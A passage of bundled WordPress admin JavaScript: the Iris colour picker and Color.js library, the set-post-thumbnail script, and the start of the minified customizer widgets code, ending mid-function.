.iris-square-value{width:8px;height:8px;position:absolute}.iris-ie-lt9 .iris-square-value,.iris-mozilla .iris-square-value{width:1px;height:1px}.iris-palette-container{position:absolute;bottom:0;left:0;margin:0;padding:0}.iris-border .iris-palette-container{left:10px;bottom:10px}.iris-picker .iris-palette{margin:0;cursor:pointer}.iris-square-handle,.ui-slider-handle{border:0;outline:0}',o=navigator.userAgent.toLowerCase(),p="Microsoft Internet Explorer"===navigator.appName,q=p?parseFloat(o.match(/msie ([0-9]{1,}[\.0-9]{0,})/)[1]):0,j=p&&q<10,k=!1,l=["-moz-","-webkit-","-o-","-ms-"],j&&q<=7)return a.fn.iris=a.noop,void(a.support.iris=!1);a.support.iris=!0,a.fn.gradient=function(){var b=arguments;return this.each(function(){j?e.apply(this,b):a(this).css("backgroundImage",d.apply(this,b))})},a.fn.rainbowGradient=function(b,c){var d,e,f,g;for(b=b||"top",d=a.extend({},{s:100,l:50},c),e="hsl(%h%,"+d.s+"%,"+d.l+"%)",f=0,g=[];f<=360;)g.push(e.replace("%h%",f)),f+=30;return this.each(function(){a(this).gradient(b,g)})},n={options:{color:!1,mode:"hsl",controls:{horiz:"s",vert:"l",strip:"h"},hide:!0,border:!0,target:!1,width:200,palettes:!1,type:"full",slider:"horizontal"},_color:"",_palettes:["#000","#fff","#d33","#d93","#ee2","#81d742","#1e73be","#8224e3"],_inited:!1,_defaultHSLControls:{horiz:"s",vert:"l",strip:"h"},_defaultHSVControls:{horiz:"h",vert:"v",strip:"s"},_scale:{h:360,s:100,l:100,v:100},_create:function(){var b=this,d=b.element,e=b.options.color||d.val();!1===k&&c(),d.is("input")?(b.options.target?b.picker=a(i).appendTo(b.options.target):b.picker=a(i).insertAfter(d),b._addInputListeners(d)):(d.append(i),b.picker=d.find(".iris-picker")),p?9===q?b.picker.addClass("iris-ie-9"):q<=8&&b.picker.addClass("iris-ie-lt9"):o.indexOf("compatible")<0&&o.indexOf("khtml")<0&&o.match(/mozilla/)&&b.picker.addClass("iris-mozilla"),b.options.palettes&&b._addPalettes(),b.onlySlider="hue"===b.options.type,b.horizontalSlider=b.onlySlider&&"horizontal"===b.options.slider,b.onlySlider&&(b.options.controls.strip="h",e||(e="hsl(10,100,50)")),b._color=new Color(e).setHSpace(b.options.mode),b.options.color=b._color.toString(),b.controls={square:b.picker.find(".iris-square"),squareDrag:b.picker.find(".iris-square-value"),horiz:b.picker.find(".iris-square-horiz"),vert:b.picker.find(".iris-square-vert"),strip:b.picker.find(".iris-strip"),stripSlider:b.picker.find(".iris-strip .iris-slider-offset")},"hsv"===b.options.mode&&b._has("l",b.options.controls)?b.options.controls=b._defaultHSVControls:"hsl"===b.options.mode&&b._has("v",b.options.controls)&&(b.options.controls=b._defaultHSLControls),b.hue=b._color.h(),b.options.hide&&b.picker.hide(),b.options.border&&!b.onlySlider&&b.picker.addClass("iris-border"),b._initControls(),b.active="external",b._dimensions(),b._change()},_has:function(b,c){var d=!1;return a.each(c,function(a,c){if(b===c)return d=!0,!1}),d},_addPalettes:function(){var b=a('<div class="iris-palette-container" />'),c=a('<a class="iris-palette" tabindex="0" />'),d=Array.isArray(this.options.palettes)?this.options.palettes:this._palettes;this.picker.find(".iris-palette-container").length&&(b=this.picker.find(".iris-palette-container").detach().html("")),a.each(d,function(a,d){c.clone().data("color",d).css("backgroundColor",d).appendTo(b).height(10).width(10)}),this.picker.append(b)},_paint:function(){var a=this;a.horizontalSlider?a._paintDimension("left","strip"):a._paintDimension("top","strip"),a._paintDimension("top","vert"),a._paintDimension("left","horiz")},_paintDimension:function(a,b){var c,d=this,e=d._color,f=d.options.mode,g=d._getHSpaceColor(),h=d.controls[b],i=d.options.controls;if(b!==d.active&&("square"!==d.active||"strip"===b))switch(i[b]){case"h":if("hsv"===f){switch(g=e.clone(),b){case"horiz":g[i.vert](100);break;case"vert":g[i.horiz](100);break;case"strip":g.setHSpace("hsl")}c=g.toHsl()}else c="strip"===b?{s:g.s,l:g.l}:{s:100,l:g.l};h.rainbowGradient(a,c);break;case"s":"hsv"===f?"vert"===b?c=[e.clone().a(0).s(0).toCSS("rgba"),e.clone().a(1).s(0).toCSS("rgba")]:"strip"===b?c=[e.clone().s(100).toCSS("hsl"),e.clone().s(0).toCSS("hsl")]:"horiz"===b&&(c=["#fff","hsl("+g.h+",100%,50%)"]):c="vert"===b&&"h"===d.options.controls.horiz?["hsla(0, 0%, "+g.l+"%, 0)","hsla(0, 0%, "+g.l+"%, 1)"]:["hsl("+g.h+",0%,50%)","hsl("+g.h+",100%,50%)"],h.gradient(a,c);break;case"l":c="strip"===b?["hsl("+g.h+",100%,100%)","hsl("+g.h+", "+g.s+"%,50%)","hsl("+g.h+",100%,0%)"]:["#fff","rgba(255,255,255,0) 50%","rgba(0,0,0,0) 50%","rgba(0,0,0,1)"],h.gradient(a,c);break;case"v":c="strip"===b?[e.clone().v(100).toCSS(),e.clone().v(0).toCSS()]:["rgba(0,0,0,0)","#000"],h.gradient(a,c)}},_getHSpaceColor:function(){return"hsv"===this.options.mode?this._color.toHsv():this._color.toHsl()},_stripOnlyDimensions:function(){var a=this,b=this.options.width,c=.12*b;a.horizontalSlider?a.picker.css({width:b,height:c}).addClass("iris-only-strip iris-strip-horiz"):a.picker.css({width:c,height:b}).addClass("iris-only-strip iris-strip-vert")},_dimensions:function(b){if("hue"===this.options.type)return this._stripOnlyDimensions();var c,d,e,f,g=this,h=g.options,i=g.controls,j=i.square,k=g.picker.find(".iris-strip"),l="77.5%",m="12%",n=20,o=h.border?h.width-n:h.width,p=Array.isArray(h.palettes)?h.palettes.length:g._palettes.length;if(b&&(j.css("width",""),k.css("width",""),g.picker.css({width:"",height:""})),l=o*(parseFloat(l)/100),m=o*(parseFloat(m)/100),c=h.border?l+n:l,j.width(l).height(l),k.height(l).width(m),g.picker.css({width:h.width,height:c}),!h.palettes)return g.picker.css("paddingBottom","");d=2*l/100,f=l-(p-1)*d,e=f/p,g.picker.find(".iris-palette").each(function(b){var c=0===b?0:d;a(this).css({width:e,height:e,marginLeft:c})}),g.picker.css("paddingBottom",e+d),k.height(e+d+l)},_addInputListeners:function(a){var b=this,c=function(c){var d=new Color(a.val()),e=a.val().replace(/^#/,"");a.removeClass("iris-error"),d.error?""!==e&&a.addClass("iris-error"):d.toString()!==b._color.toString()&&("keyup"===c.type&&e.match(/^[0-9a-fA-F]{3}$/)||b._setOption("color",d.toString()))};a.on("change",c).on("keyup",b._debounce(c,100)),b.options.hide&&a.one("focus",function(){b.show()})},_initControls:function(){var b=this,c=b.controls,d=c.square,e=b.options.controls,f=b._scale[e.strip],g=b.horizontalSlider?"horizontal":"vertical";c.stripSlider.slider({orientation:g,max:f,slide:function(a,c){b.active="strip","h"===e.strip&&"vertical"===g&&(c.value=f-c.value),b._color[e.strip](c.value),b._change.apply(b,arguments)}}),c.squareDrag.draggable({containment:c.square.find(".iris-square-inner"),zIndex:1e3,cursor:"move",drag:function(a,c){b._squareDrag(a,c)},start:function(){d.addClass("iris-dragging"),a(this).addClass("ui-state-focus")},stop:function(){d.removeClass("iris-dragging"),a(this).removeClass("ui-state-focus")}}).on("mousedown mouseup",function(c){var d="ui-state-focus";c.preventDefault(),"mousedown"===c.type?(b.picker.find("."+d).removeClass(d).trigger("blur"),a(this).addClass(d).trigger("focus")):a(this).removeClass(d)}).on("keydown",function(a){var d=c.square,e=c.squareDrag,f=e.position(),g=b.options.width/100;switch(a.altKey&&(g*=10),a.keyCode){case 37:f.left-=g;break;case 38:f.top-=g;break;case 39:f.left+=g;break;case 40:f.top+=g;break;default:return!0}f.left=Math.max(0,Math.min(f.left,d.width())),f.top=Math.max(0,Math.min(f.top,d.height())),e.css(f),b._squareDrag(a,{position:f}),a.preventDefault()}),d.on("mousedown",function(c){var d,e;1===c.which&&a(c.target).is("div")&&(d=b.controls.square.offset(),e={top:c.pageY-d.top,left:c.pageX-d.left},c.preventDefault(),b._squareDrag(c,{position:e}),c.target=b.controls.squareDrag.get(0),b.controls.squareDrag.css(e).trigger(c))}),b.options.palettes&&b._paletteListeners()},_paletteListeners:function(){var b=this;b.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){b._color.fromCSS(a(this).data("color")),b.active="external",b._change()}).on("keydown.palette",".iris-palette",function(b){if(13!==b.keyCode&&32!==b.keyCode)return!0;b.stopPropagation(),a(this).trigger("click")})},_squareDrag:function(a,b){var c=this,d=c.options.controls,e=c._squareDimensions(),f=Math.round((e.h-b.position.top)/e.h*c._scale[d.vert]),g=c._scale[d.horiz]-Math.round((e.w-b.position.left)/e.w*c._scale[d.horiz]);c._color[d.horiz](g)[d.vert](f),c.active="square",c._change.apply(c,arguments)},_setOption:function(b,c){var d,e,f=this,g=f.options[b],h=!1;switch(f.options[b]=c,b){case"color":f.onlySlider?(c=parseInt(c,10),c=isNaN(c)||c<0||c>359?g:"hsl("+c+",100,50)",f.options.color=f.options[b]=c,f._color=new Color(c).setHSpace(f.options.mode),f.active="external",f._change()):(c=""+c,c.replace(/^#/,""),d=new Color(c).setHSpace(f.options.mode),d.error?f.options[b]=g:(f._color=d,f.options.color=f.options[b]=f._color.toString(),f.active="external",f._change()));break;case"palettes":h=!0,c?f._addPalettes():f.picker.find(".iris-palette-container").remove(),g||f._paletteListeners();break;case"width":h=!0;break;case"border":h=!0,e=c?"addClass":"removeClass",f.picker[e]("iris-border");break;case"mode":case"controls":if(g===c)return;return e=f.element,g=f.options,g.hide=!f.picker.is(":visible"),f.destroy(),f.picker.remove(),a(f.element).iris(g)}h&&f._dimensions(!0)},_squareDimensions:function(a){var c,d=this.controls.square;return a!==b&&d.data("dimensions")?d.data("dimensions"):(this.controls.squareDrag,c={w:d.width(),h:d.height()},d.data("dimensions",c),c)},_isNonHueControl:function(a,b){return"square"===a&&"h"===this.options.controls.strip||"external"!==b&&("h"!==b||"strip"!==a)},_change:function(){var b=this,c=b.controls,d=b._getHSpaceColor(),e=["square","strip"],f=b.options.controls,g=f[b.active]||"external",h=b.hue;"strip"===b.active?e=[]:"external"!==b.active&&e.pop(),a.each(e,function(a,e){var g,h,i;if(e!==b.active)switch(e){case"strip":g="h"!==f.strip||b.horizontalSlider?d[f.strip]:b._scale[f.strip]-d[f.strip],c.stripSlider.slider("value",g);break;case"square":h=b._squareDimensions(),i={left:d[f.horiz]/b._scale[f.horiz]*h.w,top:h.h-d[f.vert]/b._scale[f.vert]*h.h},b.controls.squareDrag.css(i)}}),d.h!==h&&b._isNonHueControl(b.active,g)&&b._color.h(h),b.hue=b._color.h(),b.options.color=b._color.toString(),b._inited&&b._trigger("change",{type:b.active},{color:b._color}),b.element.is(":input")&&!b._color.error&&(b.element.removeClass("iris-error"),b.onlySlider?b.element.val()!==b.hue&&b.element.val(b.hue):b.element.val()!==b._color.toString()&&b.element.val(b._color.toString())),b._paint(),b._inited=!0,b.active=!1},_debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},show:function(){this.picker.show()},hide:function(){this.picker.hide()},toggle:function(){this.picker.toggle()},color:function(a){return!0===a?this._color.clone():a===b?this._color.toString():void this.option("color",a)}},a.widget("a8c.iris",n),a('<style id="iris-css">'+m+"</style>").appendTo("head")}(jQuery),function(a,b){var c=function(a,b){return this instanceof c?this._init(a,b):new c(a,b)};c.fn=c.prototype={_color:0,_alpha:1,error:!1,_hsl:{h:0,s:0,l:0},_hsv:{h:0,s:0,v:0},_hSpace:"hsl",_init:function(a){var c="noop";switch(typeof a){case"object":return a.a!==b&&this.a(a.a),c=a.r!==b?"fromRgb":a.l!==b?"fromHsl":a.v!==b?"fromHsv":c,this[c](a);case"string":return this.fromCSS(a);case"number":return this.fromInt(parseInt(a,10))}return this},_error:function(){return this.error=!0,this},clone:function(){for(var a=new c(this.toInt()),b=["_alpha","_hSpace","_hsl","_hsv","error"],d=b.length-1;d>=0;d--)a[b[d]]=this[b[d]];return a},setHSpace:function(a){return this._hSpace="hsv"===a?a:"hsl",this},noop:function(){return this},fromCSS:function(a){var b,c=/^(rgb|hs(l|v))a?\(/;if(this.error=!1,a=a.replace(/^\s+/,"").replace(/\s+$/,"").replace(/;$/,""),a.match(c)&&a.match(/\)$/)){if(b=a.replace(/(\s|%)/g,"").replace(c,"").replace(/,?\);?$/,"").split(","),b.length<3)return this._error();if(4===b.length&&(this.a(parseFloat(b.pop())),this.error))return this;for(var d=b.length-1;d>=0;d--)if(b[d]=parseInt(b[d],10),isNaN(b[d]))return this._error();return a.match(/^rgb/)?this.fromRgb({r:b[0],g:b[1],b:b[2]}):a.match(/^hsv/)?this.fromHsv({h:b[0],s:b[1],v:b[2]}):this.fromHsl({h:b[0],s:b[1],l:b[2]})}return this.fromHex(a)},fromRgb:function(a,c){return"object"!=typeof a||a.r===b||a.g===b||a.b===b?this._error():(this.error=!1,this.fromInt(parseInt((a.r<<16)+(a.g<<8)+a.b,10),c))},fromHex:function(a){return a=a.replace(/^#/,"").replace(/^0x/,""),3===a.length&&(a=a[0]+a[0]+a[1]+a[1]+a[2]+a[2]),this.error=!/^[0-9A-F]{6}$/i.test(a),this.fromInt(parseInt(a,16))},fromHsl:function(a){var c,d,e,f,g,h,i,j;return"object"!=typeof a||a.h===b||a.s===b||a.l===b?this._error():(this._hsl=a,this._hSpace="hsl",h=a.h/360,i=a.s/100,j=a.l/100,0===i?c=d=e=j:(f=j<.5?j*(1+i):j+i-j*i,g=2*j-f,c=this.hue2rgb(g,f,h+1/3),d=this.hue2rgb(g,f,h),e=this.hue2rgb(g,f,h-1/3)),this.fromRgb({r:255*c,g:255*d,b:255*e},!0))},fromHsv:function(a){var c,d,e,f,g,h,i,j,k,l,m;if("object"!=typeof a||a.h===b||a.s===b||a.v===b)return this._error();switch(this._hsv=a,this._hSpace="hsv",c=a.h/360,d=a.s/100,e=a.v/100,i=Math.floor(6*c),j=6*c-i,k=e*(1-d),l=e*(1-j*d),m=e*(1-(1-j)*d),i%6){case 0:f=e,g=m,h=k;break;case 1:f=l,g=e,h=k;break;case 2:f=k,g=e,h=m;break;case 3:f=k,g=l,h=e;break;case 4:f=m,g=k,h=e;break;case 5:f=e,g=k,h=l}return this.fromRgb({r:255*f,g:255*g,b:255*h},!0)},fromInt:function(a,c){return this._color=parseInt(a,10),isNaN(this._color)&&(this._color=0),this._color>16777215?this._color=16777215:this._color<0&&(this._color=0),c===b&&(this._hsv.h=this._hsv.s=this._hsl.h=this._hsl.s=0),this},hue2rgb:function(a,b,c){return c<0&&(c+=1),c>1&&(c-=1),c<1/6?a+6*(b-a)*c:c<.5?b:c<2/3?a+(b-a)*(2/3-c)*6:a},toString:function(){var a=parseInt(this._color,10).toString(16);if(this.error)return"";if(a.length<6)for(var b=6-a.length-1;b>=0;b--)a="0"+a;return"#"+a},toCSS:function(a,b){switch(a=a||"hex",b=parseFloat(b||this._alpha),a){case"rgb":case"rgba":var c=this.toRgb();return b<1?"rgba( "+c.r+", "+c.g+", "+c.b+", "+b+" )":"rgb( "+c.r+", "+c.g+", "+c.b+" )";case"hsl":case"hsla":var d=this.toHsl();return b<1?"hsla( "+d.h+", "+d.s+"%, "+d.l+"%, "+b+" )":"hsl( "+d.h+", "+d.s+"%, "+d.l+"% )";default:return this.toString()}},toRgb:function(){return{r:255&this._color>>16,g:255&this._color>>8,b:255&this._color}},toHsl:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=(g+h)/2;if(g===h)a=b=0;else{var j=g-h;switch(b=i>.5?j/(2-g-h):j/(g+h),g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsl.h!==a&&(a=this._hsl.h),b=Math.round(100*b),0===b&&this._hsl.s&&(b=this._hsl.s),{h:a,s:b,l:Math.round(100*i)}},toHsv:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=g,j=g-h;if(b=0===g?0:j/g,g===h)a=b=0;else{switch(g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsv.h!==a&&(a=this._hsv.h),b=Math.round(100*b),0===b&&this._hsv.s&&(b=this._hsv.s),{h:a,s:b,v:Math.round(100*i)}},toInt:function(){return this._color},toIEOctoHex:function(){var a=this.toString(),b=parseInt(255*this._alpha,10).toString(16);return 1===b.length&&(b="0"+b),"#"+b+a.replace(/^#/,"")},toLuminosity:function(){var a=this.toRgb(),b={};for(var c in a)if(a.hasOwnProperty(c)){var d=a[c]/255;b[c]=d<=.03928?d/12.92:Math.pow((d+.055)/1.055,2.4)}return.2126*b.r+.7152*b.g+.0722*b.b},getDistanceLuminosityFrom:function(a){if(!(a instanceof c))throw"getDistanceLuminosityFrom requires a Color object";var b=this.toLuminosity(),d=a.toLuminosity();return b>d?(b+.05)/(d+.05):(d+.05)/(b+.05)},getMaxContrastColor:function(){var a=this.getDistanceLuminosityFrom(new c("#000")),b=this.getDistanceLuminosityFrom(new c("#fff"));return new c(a>=b?"#000":"#fff")},getReadableContrastingColor:function(a,d){if(!(a instanceof c))return this;var e,f,g=d===b?5:d,h=a.getDistanceLuminosityFrom(this);if(h>=g)return this;if(e=a.getMaxContrastColor(),e.getDistanceLuminosityFrom(a)<=g)return e;for(f=0===e.toInt()?-1:1;h<g&&(this.l(f,!0),h=this.getDistanceLuminosityFrom(a),0!==this._color&&16777215!==this._color););return this},a:function(a){if(a===b)return this._alpha;var c=parseFloat(a);return isNaN(c)?this._error():(this._alpha=c,this)},darken:function(a){return a=a||5,this.l(-a,!0)},lighten:function(a){return a=a||5,this.l(a,!0)},saturate:function(a){return a=a||15,this.s(a,!0)},desaturate:function(a){return a=a||15,this.s(-a,!0)},toGrayscale:function(){return this.setHSpace("hsl").s(0)},getComplement:function(){return this.h(180,!0)},getSplitComplement:function(a){a=a||1;var b=180+30*a;return this.h(b,!0)},getAnalog:function(a){a=a||1;var b=30*a;return this.h(b,!0)},getTetrad:function(a){a=a||1;var b=60*a;return this.h(b,!0)},getTriad:function(a){a=a||1;var b=120*a;return this.h(b,!0)},_partial:function(a){var c=d[a];return function(d,e){var f=this._spaceFunc("to",c.space);return d===b?f[a]:(!0===e&&(d=f[a]+d),c.mod&&(d%=c.mod),c.range&&(d=d<c.range[0]?c.range[0]:d>c.range[1]?c.range[1]:d),f[a]=d,this._spaceFunc("from",c.space,f))}},_spaceFunc:function(a,b,c){var d=b||this._hSpace;return this[a+d.charAt(0).toUpperCase()+d.substr(1)](c)}};var d={h:{mod:360},s:{range:[0,100]},l:{space:"hsl",range:[0,100]},v:{space:"hsv",range:[0,100]},r:{space:"rgb",range:[0,255]},g:{space:"rgb",range:[0,255]},b:{space:"rgb",range:[0,255]}};for(var e in d)d.hasOwnProperty(e)&&(c.fn[e]=c.fn._partial(e));"object"==typeof exports?module.exports=c:a.Color=c}(this);/**
 * @output wp-admin/js/set-post-thumbnail.js
 */

/* global ajaxurl, post_id, alert */
/* exported WPSetAsThumbnail */

window.WPSetAsThumbnail = function( id, nonce ) {
	var $link = jQuery('a#wp-post-thumbnail-' + id);

	$link.text( wp.i18n.__( 'Saving…' ) );
	jQuery.post(ajaxurl, {
		action: 'set-post-thumbnail', post_id: post_id, thumbnail_id: id, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie )
	}, function(str){
		var win = window.dialogArguments || opener || parent || top;
		$link.text( wp.i18n.__( 'Use as featured image' ) );
		if ( str == '0' ) {
			alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
		} else {
			jQuery('a.wp-post-thumbnail').show();
			$link.text( wp.i18n.__( 'Done' ) );
			$link.fadeOut( 2000 );
			win.WPSetThumbnailID(id);
			win.WPSetThumbnailHTML(str);
		}
	}
	);
};
/*! This file is auto-generated */
!function(u,h){var p,f;function c(e){var t={number:null,id_base:null},i=e.match(/^(.+)-(\d+)$/);return i?(t.id_base=i[1],t.number=parseInt(i[2],10)):t.id_base=e,t}u&&u.customize&&((p=u.customize).Widgets=p.Widgets||{},p.Widgets.savedWidgetIds={},p.Widgets.data=_wpCustomizeWidgetsSettings||{},f=p.Widgets.data.l10n,p.Widgets.WidgetModel=Backbone.Model.extend({id:null,temp_id:null,classname:null,control_tpl:null,description:null,is_disabled:null,is_multi:null,multi_number:null,name:null,id_base:null,transport:null,params:[],width:null,height:null,search_matched:!0}),p.Widgets.WidgetCollection=Backbone.Collection.extend({model:p.Widgets.WidgetModel,doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms)&&this.each(function(e){e.set("search_matched",!0)})},search:function(e){var t,i;e=(e=e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),t=new RegExp("^(?=.*"+e+").+","i"),this.each(function(e){i=[e.get("name"),e.get("description")].join(" "),e.set("search_matched",t.test(i))})}}),p.Widgets.availableWidgets=new p.Widgets.WidgetCollection(p.Widgets.data.availableWidgets),p.Widgets.SidebarModel=Backbone.Model.extend({after_title:null,after_widget:null,before_title:null,before_widget:null,class:null,description:null,id:null,name:null,is_rendered:!1}),p.Widgets.SidebarCollection=Backbone.Collection.extend({model:p.Widgets.SidebarModel}),p.Widgets.registeredSidebars=new p.Widgets.SidebarCollection(p.Widgets.data.registeredSidebars),p.Widgets.AvailableWidgetsPanelView=u.Backbone.View.extend({el:"#available-widgets",events:{"input #widgets-search":"search","focus .widget-tpl":"focus","click .widget-tpl":"_submit","keypress .widget-tpl":"_submit",keydown:"keyboardAccessible"},selected:null,currentSidebarControl:null,$search:null,$clearResults:null,searchMatchesCount:null,initialize:function(){var t=this;this.$search=h("#widgets-search"),this.$clearResults=this.$el.find(".clear-results"),_.bindAll(this,"close"),this.listenTo(this.collection,"change",this.updateList),this.updateList(),this.searchMatchesCount=this.collection.length,h("#customize-controls, #available-widgets .customize-section-title").on("click keydown",function(e){e=h(e.target).is(".add-new-widget, .add-new-widget *");h("body").hasClass("adding-widget")&&!e&&t.close()}),this.$clearResults.on("click",function(){t.$search.val("").trigger("focus").trigger("input")}),p.previewer.bind("url",this.close)},search:_.debounce(function(e){var t;this.collection.doSearch(e.target.value),this.updateSearchMatchesCount(),this.announceSearchMatches(),this.selected&&!this.selected.is(":visible")&&(this.selected.removeClass("selected"),this.selected=null),this.selected&&!e.target.value&&(this.selected.removeClass("selected"),this.selected=null),!this.selected&&e.target.value&&(t=this.$el.find("> .widget-tpl:visible:first")).length&&this.select(t),""!==e.target.value?this.$clearResults.addClass("is-visible"):""===e.target.value&&this.$clearResults.removeClass("is-visible"),this.searchMatchesCount?this.$el.removeClass("no-widgets-found"):this.$el.addClass("no-widgets-found")},500),updateSearchMatchesCount:function(){this.searchMatchesCount=this.collection.where({search_matched:!0}).length},announceSearchMatches:function(){var e=f.widgetsFound.replace("%d",this.searchMatchesCount);this.searchMatchesCount||(e=f.noWidgetsFound),u.a11y.speak(e)},updateList:function(){this.collection.each(function(e){var t=h("#widget-tpl-"+e.id);t.toggle(e.get("search_matched")&&!e.get("is_disabled")),e.get("is_disabled")&&t.is(this.selected)&&(this.selected=null)})},select:function(e){this.selected=h(e),this.selected.siblings(".widget-tpl").removeClass("selected"),this.selected.addClass("selected")},focus:function(e){this.select(h(e.currentTarget))},_submit:function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||this.submit(h(e.currentTarget))},submit:function(e){(e=e||this.selected)&&this.currentSidebarControl&&(this.select(e),e=h(this.selected).data("widget-id"),e=this.collection.findWhere({id:e}))&&((e=this.currentSidebarControl.addWidget(e.get("id_base")))&&e.focus(),this.close())},open:function(e){this.currentSidebarControl=e,_(this.currentSidebarControl.getWidgetFormControls()).each(function(e){e.params.is_wide&&e.collapseForm()}),p.section.has("publish_settings")&&p.section("publish_settings").collapse(),h("body").addClass("adding-widget"),this.$el.find(".selected").removeClass("selected"),this.collection.doSearch(""),p.settings.browser.mobile||this.$search.trigger("focus")},close:function(e){(e=e||{}).returnFocus&&this.currentSidebarControl&&this.currentSidebarControl.container.find(".add-new-widget").focus(),this.currentSidebarControl=null,this.selected=null,h("body").removeClass("adding-widget"),this.$search.val("").trigger("input")},keyboardAccessible:function(e){var t=13===e.which,i=27===e.which,n=40===e.which,s=38===e.which,d=9===e.which,a=e.shiftKey,o=null,r=this.$el.find("> .widget-tpl:visible:first"),l=this.$el.find("> .widget-tpl:visible:last"),c=h(e.target).is(this.$search),g=h(e.target).is(".widget-tpl:visible:last");n||s?(n?c?o=r:this.selected&&0!==this.selected.nextAll(".widget-tpl:visible").length&&(o=this.selected.nextAll(".widget-tpl:visible:first")):s&&(c?o=l:this.selected&&0!==this.selected.prevAll(".widget-tpl:visible").length&&(o=this.selected.prevAll(".widget-tpl:visible:first"))),this.select(o),(o||this.$search).trigger("focus")):t&&!this.$search.val()||(t?this.submit():i&&this.close({returnFocus:!0}),this.currentSidebarControl&&d&&(a&&c||!a&&g)&&(this.currentSidebarControl.container.find(".add-new-widget").focus(),e.preventDefault()))}}),p.Widgets.formSyncHandlers={rss:function(e,t,i){var n=t.find(".widget-error:first"),i=h("<div>"+i+"</div>").find(".widget-error:first");n.length&&i.length?n.replaceWith(i):n.length?n.remove():i.length&&t.find(".widget-content:first").prepend(i)}},p.Widgets.WidgetControl=p.Control.extend({defaultExpandedArguments:{duration:"fast",completeCallback:h.noop},initialize:function(e,t){var i=this;i.widgetControlEmbedded=!1,i.widgetContentEmbedded=!1,i.expanded=new p.Value(!1),i.expandedArgumentsQueue=[],i.expanded.bind(function(e){var t=i.expandedArgumentsQueue.shift(),t=h.extend({},i.defaultExpandedArguments,t);i.onChangeExpanded(e,t)}),i.altNotice=!0,p.Control.prototype.initialize.call(i,e,t)},ready:function(){var n=this;n.section()?p.section(n.section(),function(t){function i(e){e&&(n.embedWidgetControl(),t.expanded.unbind(i))}t.expanded()?i(!0):t.expanded.bind(i)}):n.embedWidgetControl()},embedWidgetControl:function(){var e,t=this;t.widgetControlEmbedded||(t.widgetControlEmbedded=!0,e=h(t.params.widget_control),t.container.append(e),t._setupModel(),t._setupWideWidget(),t._setupControlToggle(),t._setupWidgetTitle(),t._setupReorderUI(),t._setupHighlightEffects(),t._setupUpdateUI(),t._setupRemoveUI())},embedWidgetContent:function(){var e,t=this;t.embedWidgetControl(),t.widgetContentEmbedded||(t.widgetContentEmbedded=!0,t.notifications.container=t.getNotificationsContainerElement(),t.notifications.render(),e=h(t.params.widget_content),t.container.find(".widget-content:first").append(e),h(document).trigger("widget-added",[t.container.find(".widget:first")]))},_setupModel:function(){var i=this,e=function(){p.Widgets.savedWidgetIds[i.params.widget_id]=!0};p.bind("ready",e),p.bind("saved",e),this._updateCount=0,this.isWidgetUpdating=!1,this.liveUpdateMode=!0,this.setting.bind(function(e,t){_(t).isEqual(e)||i.isWidgetUpdating||i.updateWidget({instance:e})})},_setupWideWidget:function(){var n,s,e,t,i,d=this;!this.params.is_wide||h(window).width()<=640||(n=this.container.find(".widget-inside"),s=n.find("> .form"),e=h(".wp-full-overlay-sidebar-content:first"),this.container.addClass("wide-widget-control"),this.container.find(".form:first").css({"max-width":this.params.width,"min-height":this.params.height}),i=function(){var e=d.container.offset().top,t=h(window).height(),i=s.outerHeight();n.css("max-height",t),e=Math.max(0,Math.min(Math.max(e,0),t-i)),n.css("top",e)},t=h("#customize-theme-controls"),this.container.on("expand",function(){i(),e.on("scroll",i),h(window).on("resize",i),t.on("expanded collapsed",i)}),this.container.on("collapsed",function(){e.off("scroll",i),h(window).off("resize",i),t.off("expanded collapsed",i)}),p.each(function(e){0===e.id.indexOf("sidebars_widgets[")&&e.bind(function(){d.container.hasClass("expanded")&&i()})}))},_setupControlToggle:function(){var t=this;this.container.find(".widget-top").on("click",function(e){e.preventDefault(),t.getSidebarWidgetsControl().isReordering||t.expanded(!t.expanded())}),this.container.find(".widget-control-close").on("click",function(){t.collapse(),t.container.find(".widget-top .widget-action:first").focus()})},_setupWidgetTitle:function(){var i=this,e=function(){var e=i.setting().title,t=i.container.find(".in-widget-title");e?t.text(": "+e):t.text("")};this.setting.bind(e),e()},_setupReorderUI:function(){var t,e,d=this,s=function(e){e.siblings(".selected").removeClass("selected"),e.addClass("selected");e=e.data("id")===d.params.sidebar_id;d.container.find(".move-widget-btn").prop("disabled",e)};this.container.find(".widget-title-action").after(h(p.Widgets.data.tpl.widgetReorderNav)),e=_.template(p.Widgets.data.tpl.moveWidgetArea),t=h(e({sidebars:_(p.Widgets.registeredSidebars.toArray()).pluck("attributes")})),this.container.find(".widget-top").after(t),(e=function(){var e=t.find("li"),i=0,n=e.filter(function(){return h(this).data("id")===d.params.sidebar_id});e.each(function(){var e=h(this),t=e.data("id"),t=p.Widgets.registeredSidebars.get(t).get("is_rendered");e.toggle(t),t&&(i+=1),e.hasClass("selected")&&!t&&s(n)}),1<i?d.container.find(".move-widget").show():d.container.find(".move-widget").hide()})(),p.Widgets.registeredSidebars.on("change:is_rendered",e),this.container.find(".widget-reorder-nav").find(".move-widget, .move-widget-down, .move-widget-up").each(function(){h(this).prepend(d.container.find(".widget-title").text()+": ")}).on("click keypress",function(e){var 